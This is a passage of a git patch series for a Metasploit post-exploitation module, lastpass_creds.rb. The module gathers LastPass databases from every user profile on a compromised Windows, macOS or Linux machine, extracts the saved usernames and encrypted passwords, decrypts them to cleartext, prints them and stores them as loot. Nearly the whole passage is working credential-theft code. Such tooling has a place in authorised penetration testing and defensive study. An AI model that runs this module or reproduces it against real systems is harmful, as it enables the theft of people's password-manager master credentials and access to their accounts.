"#{browser.downcase}.lastpass.database", - 'application/x-sqlite3', - session, - data, - nil, - "#{browser} LastPass database #{path}" - ) + else # Chrome, Safari and Opera + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass database #{path}" + ) - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - user, pass = db.execute( - "SELECT username, password FROM LastPassSavedLogins2 " \ - "WHERE username IS NOT NULL AND username != '' " \ - "AND password IS NOT NULL AND password != '';" - ).flatten - credentials << [user, pass, browser] if user && pass + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + lastpass_user, lastpass_pass = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + "AND password IS NOT NULL AND password != '';" + ).flatten + if lastpass_user && lastpass_pass + credentials << [account, browser, lastpass_user, lastpass_pass] + end + end end end end @@ -91,30 +95,23 @@ class Metasploit3 < Msf::Post credentials_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass credentials", 'Indent' => 1, - 'Columns' => %w(Username Password Browser) + 'Columns' => %w(Account Browser LastPass_Username LastPass_Password) ) # Parse and decrypt credentials credentials.each do |row| # Decrypt passwords - user, enc_pass, browser = row - vprint_status "Decrypting password for user #{user} from #{browser}..." + account, browser, user, enc_pass = row + vprint_status "Decrypting password for #{account}'s #{user} from #{browser}..." password = clear_text_password(user, enc_pass) - credentials_table << [user, password, browser] + credentials_table << [account, browser, user, password] end print_good credentials_table.to_s unless credentials.empty? end - # Finds the databases in the victim's machine - def database_paths + # Returns a mapping of { Account => { Browser => paths } } + def build_account_map platform = session.platform profiles = user_profiles - found_dbs_map = { - 'Chrome' => [], - 'Firefox' => [], - 'Opera' => [], - 'Safari' => [] - } - - browser_path_map = {} + found_dbs_map = {} if datastore['VERBOSE'] vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" @@ -123,7 +120,9 @@ class Metasploit3 < Msf::Post end profiles.each do |user_profile| - username = user_profile['UserName'] + account = user_profile['UserName'] + browser_path_map = {} + case platform when /win/ browser_path_map = { @@ -148,27 +147,29 @@ class Metasploit3 < Msf::Post print_error "Platform not recognized: #{platform}" end + found_dbs_map[account] = {} browser_path_map.each_pair do |browser, path| - found_dbs_map[browser] |= find_db_paths(path, browser, username) + found_dbs_map[account][browser] = find_db_paths(path, browser, account) end end - found_dbs_map.delete_if { |browser, paths| paths.empty? } + #found_dbs_map.delete_if { |account, browser_map paths.empty? } + found_dbs_map end # Returns a list of DB paths found in the victims' machine - def find_db_paths(path, browser, username) + def find_db_paths(path, browser, account) paths = [] - vprint_status "Checking #{username}'s #{browser}..." + vprint_status "Checking #{account}'s #{browser}..." if browser == "Firefox" # Special case for Firefox profiles = firefox_profile_files(path, browser) paths |= profiles else - paths |= file_paths(path, browser, username) + paths |= file_paths(path, browser, account) end - vprint_good "Found #{paths.size} #{browser} databases for #{username}" + vprint_good "Found #{paths.size} #{browser} databases for #{account}" paths end @@ -205,7 +206,7 @@ class Metasploit3 < Msf::Post end # Extracts the databases paths from the given folder ignoring . and .. - def file_paths(path, browser, username) + def file_paths(path, browser, account) found_dbs_paths = [] if directory?(path) From 0971d7c3ac3cc8e308b2d689335782d720c2fe65 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 13:05:11 -0700 Subject: [PATCH 22/24] Remove ... from prints, only map a browser if we found something --- modules/post/multi/gather/lastpass_creds.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 301484d958..82094c1cd5 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Post return end - print_status "Searching for LastPass databases..." + print_status "Searching for LastPass databases" account_map = build_account_map if account_map.empty? @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Post # Parse and decrypt credentials credentials.each do |row| # Decrypt passwords account, browser, user, enc_pass = row - vprint_status "Decrypting password for #{account}'s #{user} from #{browser}..." + vprint_status "Decrypting password for #{account}'s #{user} from #{browser}" password = clear_text_password(user, enc_pass) credentials_table << [account, browser, user, password] end @@ -149,7 +149,8 @@ class Metasploit3 < Msf::Post found_dbs_map[account] = {} browser_path_map.each_pair do |browser, path| - found_dbs_map[account][browser] = find_db_paths(path, browser, account) + db_paths = find_db_paths(path, browser, account) + found_dbs_map[account][browser] = db_paths unless db_paths.empty? end end @@ -161,7 +162,7 @@ class Metasploit3 < Msf::Post def find_db_paths(path, browser, account) paths = [] - vprint_status "Checking #{account}'s #{browser}..." + vprint_status "Checking #{account}'s #{browser}" if browser == "Firefox" # Special case for Firefox profiles = firefox_profile_files(path, browser) paths |= profiles From 88c1647c80dbf114c85e3dea6f6c3ef287bb903d Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 13:11:10 -0700 Subject: [PATCH 23/24] Loot the passwords, obviously --- modules/post/multi/gather/lastpass_creds.rb | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 82094c1cd5..539f502262 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -104,7 +104,17 @@ class Metasploit3 < Msf::Post password = clear_text_password(user, enc_pass) credentials_table << [account, browser, user, password] end - print_good credentials_table.to_s unless credentials.empty? + unless credentials.empty? + print_good credentials_table.to_s + path = store_loot( + "lastpass.creds", + "text/csv", + session, + credentials_table.to_csv, + nil, + "Decrypted LastPass Master Passwords" + ) + end end # Returns a mapping of { Account => { Browser => paths } } From 29b61984c51b3aacc76be72f267b71b91ffebce6 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 22 Oct 2014 16:34:17 -0700 Subject: [PATCH 24/24] Update to use correctly joined path --- modules/post/multi/gather/lastpass_creds.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 539f502262..64e87043fe 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -164,7 +164,6 @@ class Metasploit3 < Msf::Post end end - #found_dbs_map.delete_if { |account, browser_map paths.empty? } found_dbs_map end @@ -220,23 +219,25 @@ class Metasploit3 < Msf::Post def file_paths(path, browser, account) found_dbs_paths = [] + files = [] if directory?(path) + sep = session.platform =~ /win/ ? '\\' : '/' if session.type == "meterpreter" files = client.fs.dir.entries(path) - files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' - end elsif session.type == "shell" files = session.shell_command("ls \"#{path}\"").split - files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' - end else print_error "Session type not recognized: #{session.type}" return found_dbs_paths end end + files.each do |file_path| + unless %w(. .. Shared).include?(file_path) + found_dbs_paths.push([path, file_path].join(sep)) + end + end + found_dbs_paths end @@ -245,6 +246,7 @@ class Metasploit3 < Msf::Post found_dbs_paths = [] if directory?(path) + sep = session.platform =~ /win/ ? '\\' : '/' if session.type == "meterpreter" files = client.fs.dir.entries(path) elsif session.type == "shell" @@ -256,7 +258,7 @@ class Metasploit3 < Msf::Post files.reject! { |file| %w(. ..).include?(file) } files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/) + found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/) end end